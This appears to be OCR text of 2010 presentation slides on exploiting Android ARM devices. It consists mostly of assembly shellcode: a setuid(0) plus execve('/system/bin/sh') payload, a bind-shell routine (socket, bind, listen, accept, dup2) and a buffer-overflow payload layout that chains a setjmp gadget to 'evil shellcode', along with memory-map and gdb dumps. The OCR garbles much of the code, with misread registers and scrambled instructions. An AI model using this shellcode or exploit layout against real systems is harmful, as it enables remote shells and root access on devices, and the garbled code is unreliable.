/Rootad®
2010




/Rootad®
2010

-
!




/Rootad®
2010

)



/Rootad®
2010



/Rootad®
2010



/Rootad®
2010

APPLICATIONS

Contacts Phone Browser
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bx addri

—mthumb-1nterwork

.globl main
main:
.CODE 32
add r2,pc,#1

bx r2
_.CODE 16
thumb:
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Ir
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—mov pc,lr /7 Idm sp,{pc}/..

Ch 06
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socketcall
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INt open(const char *camino, iInt flags, mode_t modo);

ro rv7/
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@ -- socket(2,1,0) --

@ parameters

eor r5, rb5

push {r5} G 1

add r5, r5, #1

oush {r5} > | \net.h0

add r5, r5, #1

push {r5} > C:

@ sys call

mov r0, #1 > @ : .

mov rl, sp

mov r7, #102 > * .
svc 0x00000080

mov r4, rO
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@ -- socket(2,1,0) --
@ paramete
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@ -- socket(2,1,0) -

mov
mov
eor
mov
add
SvC
mov

ro, #2

ri, #1

2 %

r7, #250

r7, #31 @ 281
Ox00000080
r4, rO
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.globl main
main:
.CODE 32

_.CODE 16
thumb:

add r2,pc,#1
bx r2

@seturd(0)

eor ro,ro

movs r/7, #23
SVC 0x00000080

@Prepare execve args
zlol g ro, string
zlol g r5, string2
lel g ré, ro

str re, [r5]
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push
push
mov
eor

{ré}
1r0}
rl, sp

r2, r2, r2

@call execve()

.align 2
string:

string2:

1{[OAVAS)
SVC

_ascil

_ascil

r7, #11
0).(0]0]0]0]0]0}3]0

“///system/bin/sh"

"\XAANXAANXAA\XAA™
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@ socket()
mov ro, #2
mov ri, #1
eor r2, r2
mov r7, #250
add r7, #31
svC 0x00000080
mov r4, rO
@ preparing sockaddr_1in
eor rs, r5
push {r5}
push {r5}
push {r5}
mov r5, #/
Isl r5, #8
add r5, #7
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Isl r5, #16
add r5, #2
push {r5}
@bind()

mov ro, r4

mov rl, sp

mov r2, #16
mov r7, #250
add r7, #32
SYV/e 0x00000080
@listen()

mov ro, r4

mov ri, #1

mov r7, #250
add r7, #34
SYV/e 0x00000080
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@accept()

mov
eor
eor
mov
add
SvC
mov

@dup2
mov
eor
mov
SvC

ro,

r7, #250
r7, #35
0x00000080
re,ro0

stdin

ro, ro6

ri, rl

r/7, #63
Ox00000080
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@dup2 stdout

mov ro, ro6

mov rli, #1

mov r/7, #63
SVC 0x00000080

@dup2 stderr

mov ro, ro6

mov ri, #2

mov r/7, #63
SVC 0x00000080

@Execve shellcode appended here
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< # <$ < T

S&-  (-)*G
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# cat /proc/self/maps

00008000-00019000 r-xp 00000000 -00 /system/bin/. ..
00019000-0001a000 rw-p 00011000 -00 /system/bin/. ..
0001a000-00020000 rwxp 0001a000 00 O [ heap]

[---]

afe00000-afe39000 r-xp 00000000 00 478 /system/lib/. ..

afe39000-afe3c000 rw-p 00039000 00 478 /system/lib/. ..
afte3c000-afe47000 rw-p afe3c000 00 O

b0000000-b0013000 r-xp 00000000 00 332 /system/bin/...
L0013000-b0014000 rw-p 00013000 00 332 /system/bin/...
b0014000-b001a000 rwxp b0014000 00 O

beebe000-beed3000 rwxp befeb000 :00 0O [stack] <-- ASLR
#
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00008520 <read msg>:

8520:
8522:
8524:
8526:

[---]
8568:

856a:

b5f0
4d12
b093
a9ll

b013
bdfO

push {r4, r5, r6, r7, Ir}

Idr r5,[pc, #72] (856c+<.text+0x8c>)
sub Sp, #76

add rl, sp, #68

add Sp, #76

pop {rd4, r5, r6, r7, pc}

30



/Rootad®
2010

31



(gdb) disass setjmp
Dump of assembler code

Oxafe0dd20
Oxafe0dd24
Oxafe0dd28
OxafeOdd2c
Oxafe0dd30
OxafeO0dd34
Oxafe0dd38
Oxafe0dd50
OxafeOdd3c
Oxafe0dd40
Oxafe0dd44
Oxafe0dd48
OxafeOdd4c

<setjmp+0>:
<setjmp+4>:
<setjmp+8>:

<setjmp+12>:
<setjmp+16>:
<setjmp+20>:
<setjmp+24>:

<setjmp+48>

<setjmp+28>:
<setjmp+32>:
<setjmp+36>:
<setjmp+40>:
<setjmp+44>:
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for function setjymp:

push
mov
blx
mov
POp
str
folg

Str
add
stm
mov
0)%¢

{rO0, Ir}

ro, #0 ; 0OxO
Oxafel2094 <sigblock>
rl, rO

{rO0, Ir}

rl, [rO, #100]

rl, [pc, #16]

ril,
ro,
{rd4-rl2, sp,
ro, #0 ; OxO
Ir

[rO], #4
ro, #52 :

ir}

0x34
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G B> ?

<padding> -> Rellena el buffer
<b sp><b sp><b sp><b sp> --> r4-r7
<Oxafe0dd30> --> setjmp+0x10

<destino><destino+offset r4> --> rO,lIr
<shellcode> --> evil shellcode
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